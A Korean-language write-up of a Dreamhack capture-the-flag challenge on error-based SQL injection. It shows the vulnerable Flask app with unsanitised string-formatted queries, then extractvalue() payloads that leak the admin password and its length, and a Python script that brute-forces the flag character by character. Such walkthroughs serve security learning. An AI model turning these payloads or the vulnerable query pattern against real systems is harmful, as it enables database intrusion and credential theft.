본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] error based sql injection write up

 

문제 설명이 간단하게 나와있다. 레벨 1인 만큼 기본적인 걸로 풀릴 것 같다.

 

 

blind sql injection과 마찬가지로 입력폼과 내 입력이 쿼리문에 어떻게 들어가는지 확인할 수 있는 html 코드가 보여진다. 코드를 보자.

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

마찬가지로 사용자 입력값에 대해 아무런 필터링이 없기 때문에 싱글쿼터 탈출이 바로 가능하다. DB 초기화 코드를 보면,

 

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

 

uid가 admin, guest, test인 user가 존재하며 admin의 비밀번호가 플래그 형식이다.

 

 

이번에는 쿼리문이 참이 되어도 별다른 액션이 안나온다.

 

 

이전 문제와 다른 점을 보면 try, catch 구문을 이용해서 오류 핸들링을 하고 있다는 점이다. 이를 이용해서 강제로 오류를 발생 시킬 경우 우리는 그 오류를 반환 받을 수 있다.

 

강제로 오류를 발생시켜보자

 

 

👆 위와 같이 에러메시지가 리턴된 걸 볼 수 있다. 서버 DB정보와, 오류가 난 지점을 알려주고 있다.

 

 

위 사진은 extractvalue 함수를 통해 의도적으로 오류를 발생시킨 결과이다.

 

extractvalue 함수의 특징은 다음과 같다.

 

즉, 두 번째 인자가 올바르지 않을 경우 두번째 인자를 리턴한다. 이때 두 번째 인자가 쿼리문일 경우 실행하여 리턴하게 된다.

 

이걸 이용해서 쿼리문에 admin의 pw를 리턴하는 쿼리문을 날려보자

a' or extractvalue(1,concat(0x3a,(SELECT upw FROM user WHERE uid='admin')))#

 

 

비밀번호가 출력은 되나 짤려서 출력되는 걸 볼 수 있다. 이제 이 문자열이 잘리는 것만 우회하면 해결이 가능하다.

 

우리가 알고 있는 정보는 의도적으로 error를 일으켰을 때 조건절로 uid가 admin이 유저를 줄 경우 조회DH{...} 과 같은 형식의 문자열이 나오는 걸 알 수 있다. 이를 통해 조건절에 upw를 하나씩 더 비교해가며 증가 시키면 upw를 알아낼 수 있다.

 

먼저 upw의 길이를 알아보자. 사용한 페이로드는 아래와 같다.

 

a' or extractvalue(1,concat(0x3a,(SELECT char_length(upw) FROM user WHERE uid='admin')))#

길이가 44자리인 것 또한 알았으니 파이썬 코드를 짤 수 있다.

 

import requests
import string

url = "http://host3.dreamhack.games:21019/"

param = {
    "uid": ""
}

ch = string.ascii_lowercase + string.digits + string.punctuation

query = "a' or extractvalue(1,concat(0x3a,(SELECT upw FROM user WHERE substr(upw, {i}, 1)='{cha}')))#"
pw = "DH{c3968c78840750168774ad951"
for i in range(29, 45):
    for c in ch:
        param["uid"] = query.format(i=i, cha=c)

        result = requests.get(url, params=param)

        if "DH" in result.text:
            pw += c
            print(f"admin's {pw}")
            break

 

익스 👇